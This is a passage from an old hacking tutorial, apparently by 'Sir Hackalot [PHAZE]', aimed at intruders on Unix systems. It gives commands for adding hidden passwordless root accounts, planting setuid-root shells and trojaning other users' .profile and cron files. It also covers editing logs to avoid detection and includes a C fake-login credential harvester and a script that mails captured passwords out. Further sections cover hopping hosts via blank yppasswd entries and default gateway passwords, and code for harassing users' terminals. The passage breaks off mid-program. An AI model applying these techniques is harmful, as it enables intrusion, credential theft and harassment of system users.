with&lt;br /&gt;             rsh (Remote Shell, not restricted shell), rlogin, and telnet,&lt;br /&gt;             as well as other ethernet/x.25 link programs.&lt;br /&gt;&lt;br /&gt;/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in&lt;br /&gt;             Several directories, but it is usually in /usr/adm.  This file&lt;br /&gt;             is what it sounds like.  Its a log file, for the program SU.&lt;br /&gt;             What it is for is to keep a record of who uses SU and when.&lt;br /&gt;             whenever you use SU, your best bet would be to edit this file&lt;br /&gt;             if possible, and I'll tell you how and why in the section&lt;br /&gt;             about using "su".&lt;br /&gt;&lt;br /&gt;/usr/adm/loginlog&lt;br /&gt;or /usr/adm/acct/loginlog -&lt;br /&gt;        This is a log file, keeping track of the logins.&lt;br /&gt;        Its purpose is merely for accounting and "security review".  Really,&lt;br /&gt;        sometimes this file is never found, since a lot of systems keep the&lt;br /&gt;        logging off.&lt;br /&gt;&lt;br /&gt;/usr/adm/errlog&lt;br /&gt;or errlog -     This is the error log.  It could be located anywhere.  It&lt;br /&gt;                keeps track of all serious and even not so serious errors.&lt;br /&gt;                Usually, it will contain an error code, then a situation.&lt;br /&gt;                the error code can be from 1-10, the higher the number, the&lt;br /&gt;                worse the error.  Error code 6 is usually used when you try&lt;br /&gt;                to hack.  "login" logs your attempt in errlog with error code&lt;br /&gt;                6.  Error code 10 means, in a nutshell, "SYSTEM CRASH".&lt;br /&gt;&lt;br /&gt;/usr/adm/culog - This file contains entries that tell when you used cu,&lt;br /&gt;                 where you called and so forth.  Another security thing.&lt;br /&gt;&lt;br /&gt;/usr/mail/&lt;userLogin&gt; - this is where the program "mail" stores its mail.&lt;br /&gt;                        to read a particular mailbox, so they are called,&lt;br /&gt;                        you must be that user, in the user group "mail" or&lt;br /&gt;                        root.  each mailbox is just a name.  for instance,&lt;br /&gt;                        if my login was "sirhack" my mail file would usually&lt;br /&gt;                        be: /usr/mail/sirhack&lt;br /&gt;&lt;br /&gt;/usr/lib/cron/crontabs - This contains the instructions for cron, usually.&lt;br /&gt;                         Will get into this later.&lt;br /&gt;&lt;br /&gt;/etc/shadow - A "shadowed" password file.  Will talk about this later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- The BIN account --&lt;br /&gt;&lt;br /&gt;       Well, right now, I'd like to take a moment to talk about the account&lt;br /&gt;"bin".  While it is only a user level account, it is very powerful.  It is&lt;br /&gt;the owner of most of the files, and on most systems, it owns /etc/passwd,&lt;br /&gt;THE most important file on a unix.  See, the bin account owns most of the&lt;br /&gt;"bin" (binary) files, as well as others used by the binary files, such&lt;br /&gt;as login.  Now, knowing what you know about file permissions, if bin owns&lt;br /&gt;the passwd file, you can edit passwd and add a root entry for yourself.&lt;br /&gt;You could do this via the edit command:&lt;br /&gt;$ ed passwd&lt;br /&gt;10999 [The size of passwd varies]&lt;br /&gt;* a&lt;br /&gt;sirhak::0:0:Mr. Hackalot:/:/bin/sh&lt;br /&gt;{control-d}&lt;br /&gt;* w&lt;br /&gt;* q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Then, you could say: exec login, then you could login as sirhack, and&lt;br /&gt;you'd be root.&lt;br /&gt;&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;Hacking..........&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Account Adding&lt;br /&gt;--------------&lt;br /&gt;&lt;br /&gt;        There are other programs that will add users to the system, instead&lt;br /&gt;of ed.  But most of these programs will NOT allow a root level user to be&lt;br /&gt;added, or anything less than a UID of 100.  One of these programs is&lt;br /&gt;named "adduser".  Now, the reason I have stuck this little section in, is&lt;br /&gt;for those who want to use a unix for something useful.  Say you want a&lt;br /&gt;"mailing address".  If the unix has uucp on it, or is a big college,&lt;br /&gt;chances are, it will do mail transfers.  You'll have to test the unix&lt;br /&gt;by trying to send mail to a friend somewhere, or just mailing yourself.&lt;br /&gt;If the mailer is identified as "smail" when you mail yourself (the program&lt;br /&gt;name will be imbedded in the message) that probably means that the system&lt;br /&gt;will send out UUCP mail.  This is a good way to keep in contact with people.&lt;br /&gt;Now, this is why you'd want a semi-permanent account.  The way to achieve this&lt;br /&gt;is by adding an account similar to those already on the system.  If all the&lt;br /&gt;user-level accounts (UID &gt;= 100) are three letter abbriviations, say&lt;br /&gt;"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account&lt;br /&gt;via adduser, and make a name like sally jane marshall or something&lt;br /&gt;(they don't expect hackers to put in female names) and have the account&lt;br /&gt;named sjm.  See, in the account description (like Mr. Hackalot above), that&lt;br /&gt;is where the real name is usually stored.  So, sjm might look like this:&lt;br /&gt;     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh&lt;br /&gt;Of course, you will password protect this account, right?&lt;br /&gt;Also, group id's don't have to be above 100, but you must put the account&lt;br /&gt;into one that exists.  Now, once you login with this account, the first&lt;br /&gt;thing you'd want to do is execute "passwd" to set a password up.  If you&lt;br /&gt;don't, chances are someone else 'll do it for you (Then you'll be SOL).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Set The User ID&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        This is porbably one of the most used schemes.  Setting up an "UID-&lt;br /&gt;Shell". What does this mean?  Well, it basically means you are going&lt;br /&gt;to set the user-bit on a program.  The program most commonly used is&lt;br /&gt;a shell (csh,sh, ksh, etc).  Why?  Think about it:  You'll have access&lt;br /&gt;to whatever the owner of the file does.  A UID shell sets the user-ID of&lt;br /&gt;the person who executes it to the owner of the program.  So if root&lt;br /&gt;owns a uid shell, then you become root when you run it.  This is an&lt;br /&gt;alternate way to become root.&lt;br /&gt;&lt;br /&gt;        Say you get in and modify the passwd file and make a root level&lt;br /&gt;account unpassworded, so you can drop in.  Of course, you almost HAVE to&lt;br /&gt;get rid of that account or else it WILL be noticed eventually.  So, what&lt;br /&gt;you would do is set up a regular user account for yourself, then, make&lt;br /&gt;a uid shell.  Usually you would use /bin/sh to do it.  After adding&lt;br /&gt;the regular user to the passwd file, and setting up his home directory,&lt;br /&gt;you could do something like this:&lt;br /&gt;(assume you set up the account: shk)&lt;br /&gt; # cp /bin/sh /usr/shk/runme&lt;br /&gt; # chmod a+s /usr/shk/runme&lt;br /&gt;&lt;br /&gt;Thats all there would be to it.  When you logged in as shk, you could just&lt;br /&gt;type in:&lt;br /&gt;&lt;br /&gt; $ runme&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;See?  You'd then be root.  Here is a thing to do:&lt;br /&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=104(shk) gid=50(user)&lt;br /&gt;&lt;br /&gt;$ runme&lt;br /&gt;# id&lt;br /&gt;uid=104(shk) gid=50(user) euid=0(root)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;The euid is the "effective" user ID.  UID-shells only set the effective&lt;br /&gt;userid, not the real user-id.  But, the effective user id over-rides the&lt;br /&gt;real user id.  Now, you can, if you wanted to just be annoying, make&lt;br /&gt;the utilities suid to root.  What do I mean?  For instance, make 'ls'&lt;br /&gt;a root 'shell'. :&lt;br /&gt;&lt;br /&gt;# chmod a+s /bin/ls&lt;br /&gt;# exit&lt;br /&gt;$ ls -l /usr/fred&lt;br /&gt;..&lt;br /&gt;......&lt;br /&gt;etc crap&lt;br /&gt;&lt;br /&gt;Ls would then be able to pry into ANY directory.  If you did the same to&lt;br /&gt;"cat" you could view any file.  If you did it to rm, you could delete any&lt;br /&gt;file.  If you did it to 'ed', you could edit any-file (nifty!), anywhere on&lt;br /&gt;the system (usually).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do I get root?&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;   Good question indeed.  To make a program set the user-id shell to root,&lt;br /&gt;you have to be root, unless you're lucky.  What do I mean?  Well, say&lt;br /&gt;you find a program that sets the user-id to root.  If you have access&lt;br /&gt;to write to that file, guess what?  you can copy over it, but keep&lt;br /&gt;the uid bit set.  So, say you see that the program chsh is setting&lt;br /&gt;the user id too root.  You can copy /bin/sh over it.&lt;br /&gt;&lt;br /&gt;$ ls -l&lt;br /&gt;rwsrwsrws  root     other  10999 Jan 4  chsh&lt;br /&gt;$ cp /bin/sh chsh&lt;br /&gt;$ chsh&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;See?  That is just one way.  There are others, which I will now talk&lt;br /&gt;about.&lt;br /&gt;&lt;br /&gt;More on setting the UID&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;        Now, the generic form for making a program set the User-ID bit&lt;br /&gt;is to use this command:&lt;br /&gt;&lt;br /&gt;chmod a+s file&lt;br /&gt;&lt;br /&gt;Where 'file' is a valid existing file.  Now, only those who own the file&lt;br /&gt;can set the user ID bit.  Remember, anything YOU create, YOU own, so if&lt;br /&gt;you copy th /bin/sh, the one you are logged in as owns it, or IF the&lt;br /&gt;UID is set to something else, the New UID owns the file.  This brings&lt;br /&gt;me to BAD file permissions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. HACKING : Bad Directory Permissions&lt;br /&gt;&lt;br /&gt;        Now, what do I mean for bad directory permissions?  Well, look for&lt;br /&gt;files that YOU can write to, and above all, DIRECTORIES you can write to.&lt;br /&gt;If you have write permissions on a file, you can modify it.  Now, this comes&lt;br /&gt;in handy when wanting to steal someone's access.  If you can write to&lt;br /&gt;a user's .profile, you are in business.  You can have that user's .profile&lt;br /&gt;create a suid shell for you to run when You next logon after the user.&lt;br /&gt;If the .profile is writable to you, you can do this:&lt;br /&gt;&lt;br /&gt;$ ed .profile&lt;br /&gt;[some number will be here]&lt;br /&gt;? a&lt;br /&gt;cp /bin/sh .runme&lt;br /&gt;chmod a+x .runme&lt;br /&gt;chmod a+s .runme&lt;br /&gt;(control-d)&lt;br /&gt;? w&lt;br /&gt;[new filesize will be shown]&lt;br /&gt;? q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;  Now, when the user next logs on, the .profile will create .runme which&lt;br /&gt;  will set your ID to the user whose .profile you changed.  Ideally, you'll&lt;br /&gt;  go back in and zap those lines after the suid is created, and you'll create&lt;br /&gt;  a suid somewhere else, and delete the one in his dir.  The .runme will&lt;br /&gt;  not appear in the user's REGULAR directory list, it will only show up&lt;br /&gt;  if he does "ls -a" (or ls with a -a combination), because, the '.' makes&lt;br /&gt;  a file hidden.&lt;br /&gt;&lt;br /&gt;The above was a TROJAN HORSE, which is one of the most widely used/abused&lt;br /&gt;method of gaining more power on a unix.  The above could be done in C via&lt;br /&gt;the system() command, or by just plain using open(), chmod(), and the like.&lt;br /&gt;* Remember to check and see if the root user's profile is writeable *&lt;br /&gt;* it is located at /.profile (usually) *&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   The BEST thing that could happen is to find a user's directory writeable&lt;br /&gt;   by you.  Why?  well, you could replace all the files in the directory&lt;br /&gt;   with your own devious scripts, or C trojans.  Even if a file is not&lt;br /&gt;   writeable by you, you can still overwrite it by deleteing it.  If you&lt;br /&gt;   can read various files, such as the user's .profile, you can make a&lt;br /&gt;   self deleting trojan as so:&lt;br /&gt;&lt;br /&gt; $ cp .profile temp.pro&lt;br /&gt; $ ed .profile&lt;br /&gt; 1234&lt;br /&gt; ? a&lt;br /&gt; cp /bin/sh .runme&lt;br /&gt; chmod a+x .runme&lt;br /&gt; chmod a+s .runme&lt;br /&gt; mv temp.pro .profile&lt;br /&gt; (control-d)&lt;br /&gt; ? w&lt;br /&gt; [another number]&lt;br /&gt; ? q&lt;br /&gt; $ chown that_user temp.pro&lt;br /&gt;&lt;br /&gt;  What happens is that you make a copy of the .profile before you change it.&lt;br /&gt;  Then, you change the original.  When he runs it, the steps are made, then&lt;br /&gt;  the original version is placed over the current, so if the idiot looks in&lt;br /&gt;  his .profile, he won't see anything out of the ordinary, except that he&lt;br /&gt;  could notice in a long listing that the change date is very recent, but&lt;br /&gt;  most users are not paranoid enough to do extensive checks on their files,&lt;br /&gt;  except sysadm files (such as passwd).&lt;br /&gt;&lt;br /&gt;  Now, remember, even though you can write to a dir, you may not be able&lt;br /&gt;  to write to a file without deleting it.  If you do not have write perms&lt;br /&gt;  for that file, you'll have to delete it and write something in its place&lt;br /&gt;  (put a file with the same name there). The most important thing to remember&lt;br /&gt;  if you have to delete a .profile is to CHANGE the OWNER back after you&lt;br /&gt;  construct a new one (hehe) for that user.  He could easily notice that his&lt;br /&gt;  .profile was changed and he'll know who did it.  YES, you can change the&lt;br /&gt;  owner to someone else besides yourself and the original owner (as to throw&lt;br /&gt;  him off), but this is not wise as keeping access usually relies on the fact&lt;br /&gt;  that they don't know you are around.&lt;br /&gt;&lt;br /&gt;  You can easily change cron files if you can write to them.  I'm not going&lt;br /&gt;  to go into detail about cronfile formats here, just find the crontab files&lt;br /&gt;  and modify them to create a shell somewhere as root every once in a while,&lt;br /&gt;  and set the user-id.&lt;br /&gt;&lt;br /&gt;III. Trojan Horses on Detached terminals.&lt;br /&gt;        Basically this:  You can send garbage to a user's screen and&lt;br /&gt;        mess him up bad enough to force a logoff, creating a detached&lt;br /&gt;        account.  Then you can execute a trojan horse off that terminal in&lt;br /&gt;        place of login or something, so the next one who calls can hit the&lt;br /&gt;        trojan horse.  This USUALLY takes the form of a fake login and&lt;br /&gt;        write the username/pw entererred to disk.&lt;br /&gt;&lt;br /&gt;        Now, there are other trojan horses available for you to write.  Now,&lt;br /&gt;        don't go thinking about a virus, for they don't work unless ROOT runs&lt;br /&gt;        them.  Anyway, a common trjan would be a shell script to get the&lt;br /&gt;        password, and mail it to you.  Now, you can replace the code for&lt;br /&gt;        the self deleting trojan with one saying something like:&lt;br /&gt;        echo "login: \c"&lt;br /&gt;        read lgin&lt;br /&gt;        echo off (works on some systems)&lt;br /&gt;        (if above not available...: stty -noecho)&lt;br /&gt;        echo "Password:\c"&lt;br /&gt;        read pw&lt;br /&gt;        echo on&lt;br /&gt;        echo "Login: $lgin - Pword: $pw" | mail you&lt;br /&gt;&lt;br /&gt;        Now, the best way to use this is to put it in a seperate script file&lt;br /&gt;        so it can be deleted as part of the self deleting trojan.  A quick&lt;br /&gt;        modification, removing the "login: " and leaving the password&lt;br /&gt;        may have it look like SU, so you can get the root password.  But&lt;br /&gt;        make sure the program deletes itself.  Here is a sample trojan&lt;br /&gt;        login in C:&lt;br /&gt;&lt;br /&gt;        #include &lt;stdio.h&gt;&lt;br /&gt;        /* Get the necessary defs.. */&lt;br /&gt;        main()&lt;br /&gt;        {&lt;br /&gt;          char *name[80];&lt;br /&gt;          char *pw[20];&lt;br /&gt;          FILE *strm;&lt;br /&gt;          printf("login: ");&lt;br /&gt;          gets(name);&lt;br /&gt;          pw = getpass("Password:");&lt;br /&gt;          strm = fopen("/WhereEver/Whateverfile","a");&lt;br /&gt;          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);&lt;br /&gt;          fclose(strm);&lt;br /&gt;          /* put some kind of error below... or something... */&lt;br /&gt;          printf("Bus Error - Core Dumped\n");&lt;br /&gt;          exit(1);&lt;br /&gt;          }&lt;br /&gt;&lt;br /&gt;        The program gets the login, and the password, and appends it to&lt;br /&gt;        a file (/wherever/whateverfile), and creates the file if it can,&lt;br /&gt;        and if its not there.  That is just an example.  Network Annoyances&lt;br /&gt;        come later.&lt;br /&gt;&lt;br /&gt; IV.  Odd systems&lt;br /&gt;&lt;br /&gt;        There may be systems you can log in to with  no problem, and find some&lt;br /&gt;slack menu, database, or word processor as your shell, with no way to the&lt;br /&gt;command interpreter (sh, ksh, etc..).  Don't give up here.  Some systems will&lt;br /&gt;let you login as root, but give you a menu which will allow you to add an&lt;br /&gt;account.  However, ones that do this usually have some purchased software&lt;br /&gt;package running, and the people who made the software KNOW that the people&lt;br /&gt;who bought it are idiots, and the thing will sometimes only allow you to&lt;br /&gt;add accounts with user-id 100 or greater, with their special menushell as&lt;br /&gt;a shell.  You probably won't get to pick the shell, the program will probably&lt;br /&gt;stick one on the user you created which is very limiting.  HOWEVER, sometimes&lt;br /&gt;you can edit accounts, and it will list accounts you can edit on the screen.&lt;br /&gt;HOWEVER, these programs usually only list those with UIDS &gt; 100 so you don't&lt;br /&gt;edit the good accounts, however, they donot stop you from editing an account&lt;br /&gt;with a UID &lt; 100.  The "editing" usually only involves changing the password&lt;br /&gt;on the account.  If an account has a * for a password, the standard passwd&lt;br /&gt;program which changes programs, will say no pw exists, and will ask you to&lt;br /&gt;enter one. (wallah! You have just freed an account for yourself.  Usually&lt;br /&gt;bin and sys have a * for a password).  If one exists you'll have to enter&lt;br /&gt;the old Password (I hope you know it!) for that account.  Then, you are&lt;br /&gt;in the same boat as before. (BTW -- These wierd systems are usually&lt;br /&gt;Xenix/386, Xenix/286, or Altos/286)&lt;br /&gt;        With word processors, usually you can select the load command,&lt;br /&gt;and when the word processor prompts for a file, you can select the passwd&lt;br /&gt;file, to look for open accounts, or at least valid ones to hack.  An example&lt;br /&gt;would be the informix system.  You can get a word processor with that such&lt;br /&gt;as Samna word, or something, and those Lamers will not protect against&lt;br /&gt;shit like that.  Why?  The Passwd file HAS to be readable by all for the most&lt;br /&gt;part, so each program can "stat" you.  However, word processors could be made&lt;br /&gt;to restrict editing to a directory, or set of directories.  Here is an&lt;br /&gt;example:&lt;br /&gt;&lt;br /&gt;        $ id&lt;br /&gt;        uid=100(sirhack) gid=100(users)&lt;br /&gt;        $ sword&lt;br /&gt;        (word processor comes up)&lt;br /&gt;        (select LOAD A FILE)&lt;br /&gt;        &lt;Edit File&gt;: /etc/passwd&lt;br /&gt;        &lt;Loading..&gt;&lt;br /&gt;        (you see: )&lt;br /&gt;        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh&lt;br /&gt;        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh&lt;br /&gt;        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh&lt;br /&gt;        ...&lt;br /&gt;&lt;br /&gt;Now I have found an account to take over! "datawiz" will get me in with no&lt;br /&gt;trouble, then I can change his password, which he will not like at all.&lt;br /&gt;Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions&lt;br /&gt;of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which&lt;br /&gt;will menu drive all the important shit, even creating users, but you must&lt;br /&gt;have ansi or something.&lt;br /&gt;&lt;br /&gt;        You can usually tell when you'll get a menu.  Sometimes on UNIX&lt;br /&gt;        SYSTEM V, when it says TERM = (termtype), and is waiting for&lt;br /&gt;        you to press return or whatever, you will probably get a menu.. ack.&lt;br /&gt;&lt;br /&gt;V. Shadowed Password files&lt;br /&gt;        Not much to say about this.  all it is, is when every password field&lt;br /&gt;        in the password file has an "x" or just a single character.  What&lt;br /&gt;        that does is screw you, becuase you cannot read the shadowed password&lt;br /&gt;        file, only root can, and it contains all the passwords, so you will&lt;br /&gt;        not know what accounts have no passwords, etc.&lt;br /&gt;&lt;br /&gt;There are a lot of other schemes for hacking unix, lots of others, from&lt;br /&gt;writing assembly code that modifies the PCB through self-changing code which&lt;br /&gt;the interrupt handler doesn't catch, and things like that.  However, I do&lt;br /&gt;not want to give away everything, and this was not meant for advanced Unix&lt;br /&gt;Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix&lt;br /&gt;assembly language or anything.  Now I will Talk about Internet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---&gt;&gt;&gt; InterNet &lt;&lt;&lt;---&lt;br /&gt;        Why do I want to talk about InterNet?  Well, because it is a prime&lt;br /&gt;example of a TCP/IP network, better known as a WAN (Wide-Area-Network).&lt;br /&gt;Now, mainly you will find BSD systems off of the Internet, or SunOS, for&lt;br /&gt;they are the most common.  They may not be when System V, Rel 4.0, Version&lt;br /&gt;2.0 comes out.  Anyway,  these BSDs/SunOSs like to make it easy to jump&lt;br /&gt;from one computer to another once you are logged in.  What happens is&lt;br /&gt;EACH system has a "yello page password file". Better known as yppasswd.&lt;br /&gt;If you look in there, and see blank passwords you can use rsh, rlogin, etc..&lt;br /&gt;to slip into that system.  One system in particular I came across had a&lt;br /&gt;a yppasswd file where *300* users had blank passwords in the Yellow Pages.&lt;br /&gt;Once I got in on the "test" account, ALL I had to do was select who I wanted&lt;br /&gt;to be, and do: rlogin -l user (sometimes -n).  Then it would log me onto&lt;br /&gt;the system I was already on, through TCP/IP.  However, when you do this,&lt;br /&gt;remember that the yppasswd only pertains to the system you are on at&lt;br /&gt;the time.  To find accounts, you could find the yppasswd file and do:&lt;br /&gt;&lt;br /&gt;% cat yppasswd | grep ::&lt;br /&gt;&lt;br /&gt;Or, if you can't find yppasswd..&lt;br /&gt;&lt;br /&gt;% ypcat passwd | grep ::&lt;br /&gt;&lt;br /&gt;On ONE system (which will remain confidential), I found the DAEMON account&lt;br /&gt;left open in the yppasswd file.  Not bad.  Anyway,  through one system&lt;br /&gt;on the internet, you can reach many.  Just use rsh, or rlogin, and look&lt;br /&gt;in the file: /etc/hosts for valid sites which you can reach.  If you get&lt;br /&gt;on to a system, and rlogin to somewhere else, and it asks for a password,&lt;br /&gt;that just means one of two things:&lt;br /&gt;&lt;br /&gt;A. Your account that you have hacked on the one computer is on the target&lt;br /&gt;   computer as well.  Try to use the same password (if any) you found the&lt;br /&gt;   hacked account to have.  If it is a default, then it is definitly on the&lt;br /&gt;   other system, but good luck...&lt;br /&gt;&lt;br /&gt;B. rlogin/rsh passed your current username along to the remote system, so it&lt;br /&gt;   was like typing in your login at a "login: " prompt.  You may not exist on&lt;br /&gt;   the other machine.  Try "rlogin -l login_name", or rlogin -n name..&lt;br /&gt;   sometimes, you can execute "rwho" on another machine, and get a valid&lt;br /&gt;   account.&lt;br /&gt;&lt;br /&gt;Some notes on Internet servers.  There are "GATEWAYS" that you can get into&lt;br /&gt;that will allow access to MANY internet sites.  They are mostly run off&lt;br /&gt;a modified GL/1 or GS/1.  No big deal.  They have help files.  However,&lt;br /&gt;you can get a "privilged" access on them, which will give you CONTROL of&lt;br /&gt;the gateway.. You can shut it down, remove systems from the Internet, etc..&lt;br /&gt;When you request to become privileged, it will ask for a password.  There is&lt;br /&gt;a default.  The default is "system".  I have come across *5* gateways with&lt;br /&gt;the default password.  Then again, DECNET has the same password, and I have&lt;br /&gt;come across 100+ of those with the default privileged password.  CERT Sucks.&lt;br /&gt;a Gateway that led to APPLE.COM had the default password.  Anyone could&lt;br /&gt;have removed apple.com from the internet.  Be advised that there are many&lt;br /&gt;networks now that use TCP/IP.. Such as BARRNET, LANET, and many other&lt;br /&gt;University networks.&lt;br /&gt;&lt;br /&gt;--** Having Fun **--&lt;br /&gt;&lt;br /&gt;Now, if nothing else, you should atleast have some fun.  No, I do not mean&lt;br /&gt;go trashing hardrives, or unlinking directories to take up inodes, I mean&lt;br /&gt;play with online users.  There are many things to do.  Re-direct output&lt;br /&gt;to them is the biggie.  Here is an example:&lt;br /&gt; $ who&lt;br /&gt; loozer   tty1&lt;br /&gt; sirhack  tty2&lt;br /&gt; $ banner You Suck &gt;/dev/tty1&lt;br /&gt; $&lt;br /&gt; That sent the output to loozer.  The TTY1 is where I/O is being performed&lt;br /&gt; to his terminal (usually a modem if it is a TTY).  You can repetitiously&lt;br /&gt; banner him with a do while statement in shell, causing him to logoff. Or&lt;br /&gt; you can get sly, and just screw with him.  Observe this C program:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;main(argc,argument)&lt;br /&gt;int argc;&lt;br /&gt;char *argument[];&lt;br /&gt;{&lt;br /&gt; int handle;&lt;br /&gt; char *pstr,*olm[80];&lt;br /&gt; char *devstr = "/dev/";&lt;br /&gt; int acnt = 2;&lt;br /&gt; FILE *strm;&lt;br /&gt; pstr = "";&lt;br /&gt; if (argc == 1) {&lt;br /&gt;                printf("OL (OneLiner) Version 1.00 \n");&lt;br /&gt;                printf("By Sir Hackalot [PHAZE]\n");&lt;br /&gt;  printf("\nSyntax: ol tty message\n");&lt;br /&gt;  printf("Example: ol tty01 You suck\n");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt; printf("OL (OneLiner) Version 1.0\n");&lt;br /&gt;        printf("By Sir Hackalot [PHAZE]\n");&lt;br /&gt; if (argc == 2) {&lt;br /&gt;  strcpy(olm,"");&lt;br /&gt;  printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");&lt;br /&gt;  printf("Enter one Here =&gt; ");&lt;br /&gt;  gets(olm);&lt;br /&gt; }&lt;br /&gt; strcpy(pstr,"");&lt;br /&gt; strcat(pstr,devstr);&lt;br /&gt;        strcat(pstr,argument[1]);&lt;br /&gt; printf("Sending to: [%s]\n",pstr);&lt;br /&gt; strm = fopen(pstr,"a");&lt;br /&gt; if (strm == NULL) {&lt;br /&gt;  printf("Error writing to: %s\n",pstr);&lt;br /&gt;  printf("Cause: No Write Perms?\n");&lt;br /&gt;  exit(2);&lt;br /&gt; }&lt;br /&gt; if (argc == 2) {&lt;br /&gt;                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());&lt;br /&gt;                fprintf(strm,"%s\n",olm);&lt;br /&gt;  fclose(strm);&lt;br /&gt;  printf("Message Sent.\n");&lt;br /&gt;  exit(0);&lt;br /&gt; }&lt;br /&gt;        if (argc &gt; 2) {                             &lt;br /&gt;                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());&lt;br /&gt;  while (acnt &lt;= argc - 1) {&lt;br /&gt;   fprintf(strm,"%s ",argument[acnt]);&lt;br /&gt;   acnt++;&lt;br /&gt;  }&lt;br /&gt;  fclose(strm);&lt;br /&gt;  printf("Message sent!\n");&lt;br /&gt;  exit(0);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;What the above does is send one line of text to a device writeable by you&lt;br /&gt;in /dev.  If you try it on a user named "sirhack" it will notify sirhack&lt;br /&gt;of what you are doing.  You can supply an argument at the command line, or&lt;br /&gt;leave a blank message, then it will prompt for one.  You MUST supply a&lt;br /&gt;Terminal.  Also, if you want to use ?, or *, or (), or [], you must not&lt;br /&gt;supply a message at the command line, wait till it prompts you.  Example:&lt;br /&gt;&lt;br /&gt;$ ol tty1 You Suck!&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;Or..&lt;br /&gt;$ ol tty1&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Dummy! You Forgot to Supply a ONE LINE MESSAGE!&lt;br /&gt;Enter one here =&gt; Loozer! Logoff (NOW)!! ^G^G&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;  You can even use it to fake messages from root.  Here is another:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Hose another user&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;utmp.h&gt;&lt;br /&gt;#include &lt;time.h&gt;&lt;br /&gt;#include &lt;termio.h&gt;&lt;br /&gt;#include &lt;sys/utsname.h&gt;&lt;br /&gt;&lt;br /&gt;#define NMAX    sizeof(ubuf.ut_name)&lt;br /&gt;&lt;br /&gt;struct utmp ubuf;&lt;br /&gt;struct termio oldmode, mode;&lt;br /&gt;struct utsname name;&lt;br /&gt;int yn;        &lt;br /&gt;int loop = 0;&lt;br /&gt;char    *realme[50] = "Unknown";&lt;br /&gt;char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];&lt;br /&gt;char *histtya, *ttyname(), *strrchr(), *getenv();&lt;br /&gt;int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();&lt;br /&gt;FILE *tf;&lt;br /&gt;&lt;br /&gt;main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];&lt;br /&gt;{&lt;br /&gt; register FILE *uf;&lt;br /&gt; char c1, lastc;&lt;br /&gt; int goodtty = 0;&lt;br /&gt; long clock = time((long *) 0);&lt;br /&gt; struct tm *localtime();&lt;br /&gt; struct tm *localclock = localtime( &amp;clock );&lt;br /&gt; struct stat stbuf;&lt;br /&gt; char psbuf[20], buf[80], window[20], junk[20];&lt;br /&gt; FILE *pfp, *popen();&lt;br /&gt;&lt;br /&gt; if (argc &lt; 2) {&lt;br /&gt;                printf("usage: hose user [ttyname]\n");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt;        him = argv[1];&lt;br /&gt;&lt;br /&gt; if (argc &gt; 2)&lt;br /&gt;  histtya = argv[2];&lt;br /&gt; if ((uf = fopen("/etc/utmp", "r")) == NULL) {&lt;br /&gt;  printf("cannot open /etc/utmp\n");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt; cuserid(me);&lt;br /&gt; if (me == NULL) {&lt;br /&gt;  printf("Can't find your login name\n");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt;    mytty = ttyname(2);&lt;br /&gt;    if (mytty == NULL) {&lt;br /&gt;  printf("Can't find your tty\n");&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt; if (stat(mytty, &amp;stbuf) &lt; 0) {&lt;br /&gt;  printf("Can't stat your tty -- This System is 